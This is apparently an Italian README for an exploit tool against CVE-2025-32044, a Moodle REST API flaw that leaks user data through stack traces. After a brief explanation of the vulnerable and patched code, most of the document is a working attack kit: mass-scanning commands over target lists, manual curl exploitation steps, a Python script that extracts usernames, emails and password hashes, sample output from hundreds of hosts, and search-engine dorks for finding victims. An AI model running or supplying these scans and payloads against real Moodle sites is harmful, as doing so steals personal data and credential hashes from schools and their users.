
Moodle 4.5.0-4.5.2 Esposizione di dati utente tramite REST API non autenticata dovuta a perdita di argomenti nello stack trace | CVSS 7.5
CVE-2025-32044 è una vulnerabilità di divulgazione di informazioni non autenticata ad alta gravità (CVSS 7.5) in Moodle LMS dalla 4.5.0 alla 4.5.2.
La vulnerabilità risiede nel gestore delle eccezioni della REST API di Moodle — exception_response::get_payload_data() in lib/classes/router/response/exception_response.php. Prima della correzione, gli stack trace PHP con argomenti delle funzioni venivano inclusi nelle risposte di errore delle API. Questi argomenti contengono dati utente sensibili passati attraverso lo stack di chiamate — inclusi nomi utente, nomi completi, indirizzi email e hash delle password.
Non sono richiesti autenticazione, token o interazione da parte dell'utente per innescare la fuga. L'attaccante deve solo inviare una richiesta malformata a un qualsiasi endpoint della REST API che provochi un'eccezione interna.
| Versione di Moodle | Stato |
|---|---|
| 4.5.0 – 4.5.2 | Vulnerabile |
| 4.5.3+ | Corretta |
| < 4.5.0 | Non interessata |
Tutte le versioni con zend.exception_ignore_args = On | Non interessata |
Scoperta da: Lucas Alonso (14 marzo 2025)
Tracker Moodle: MDL-84879
Advisory: MSA-25-0011
// lib/classes/router/response/exception_response.php (PRIMA della correzione)
protected static function get_payload_data(...): array {
$data = [
'message' => $exception->getMessage(),
'stacktrace' => $exception->getTrace(), // ← include 'args'!
];
return $data;
}
Quando un'eccezione si verifica durante l'elaborazione della REST API, lo stack trace PHP include gli argomenti delle funzioni (args) per ogni frame nello stack di chiamate. Questi argomenti contengono involontariamente dati della tabella utente che venivano elaborati da funzioni più in alto nella catena di chiamate.
// lib/classes/router/response/exception_response.php (DOPO la correzione)
'stacktrace' => array_map(
fn ($frame): array => array_filter(
$frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
),
$exception->getTrace(),
),
Inoltre, difesa in profondità in lib/setup.php:
ini_set('zend.exception_ignore_args', '1');
1. Target Moodle 4.5.0-4.5.2 without zend.exception_ignore_args
2. Send malformed request to /webservice/rest/server.php
(e.g., core_user_get_users_by_field with missing required params)
3. Internal exception triggered during user data processing
4. API error response includes stack trace with 'args'
5. Parse args for usernames, emails, hashes
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt
# Scansione di un singolo target
python cve_2025_32044.py -t moodle.target.com
# Scansione di massa
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt
# Scansione di massa con più thread
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt
# Modalità debug
python cve_2025_32044.py -t moodle.target.com --debug -v
-t, --target Singolo target (dominio o IP)
-f, --file Elenco di target, uno per riga
-o, --output Salva i dati utente divulgati su file
--threads Worker concorrenti (default: 30)
--timeout Timeout delle richieste in secondi (default: 10)
--debug Mostra ogni richiesta HTTP
-v, --verbose Output dettagliato
$ python cve_2025_32044.py -t moodle-target.com
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Host : moodle-target.com
Moodle : YES v4.5.1
WS Enabled : YES
Token : obtained (admin)
═══ DATA LEAKED ═══
admin | [email protected]
jsmith | [email protected]
mjones | [email protected]
Emails: 3
Hashes: 3
$2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
Time : 3.2s
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Targets: 500 | Threads: 30 | Mode: QUIET
[LEAK] moodle-vuln-01.ac.id users=15 emails=12 hashes=15
[WS] moodle-patched-02.edu token=admin
[!] moodle-no-ws-03.org
[150/500] 30% | Det:87 WS:32 Tok:8 Leak:5
───────────────────────────────────────────────────────
Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5
Passo 1 — Rilevare Moodle + Web Services
# Controlla se è Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle
# Controlla i web services
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS attivo + eventuale accesso ospite
# {"error":"Web services must be enabled..."} = WS disattivato
Passo 2 — Ottieni un token (se possibile)
curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'
Passo 3 — Provoca un'eccezione e cattura la fuga
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# La risposta conterrà lo stacktrace con args se il sistema è vulnerabile
Passo 4 — Analizza i dati divulgati
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
'wsfunction': 'core_user_get_users_by_field',
'moodlewsrestformat': 'json',
'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
for arg in frame.get('args', []):
if isinstance(arg, dict) and 'username' in arg:
print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")
FOFA: body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"
Lo sfruttamento riuscito produce:
SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI.
Questo software è destinato a professionisti della sicurezza che eseguono test di penetrazione autorizzati, organizzazioni che controllano la propria infrastruttura e ricercatori che studiano lo sfruttamento delle vulnerabilità.
Gli autori non si assumono alcuna responsabilità per un uso improprio.
Questo progetto non è affiliato a Moodle Pty Ltd.
| Campo | Origine |
|---|
| Nome utente | tabella user |
| Nome completo | firstname + lastname |
colonna email | |
| Hash della password | hash bcrypt $2y$ / $2b$ |
| IP dell'ultimo accesso | colonna lastip |
| ID utente | colonna id |
| Risorsa | Link |
|---|
| Moodle Advisory MSA-25-0011 | moodle.org |
| Moodle Tracker MDL-84879 | tracker.moodle.org |
| Commit Git (correzione) | github.com/moodle/moodle/commit/41917db65e6b |
| Voce NVD | CVE-2025-32044 |
| Scopritore | Lucas Alonso |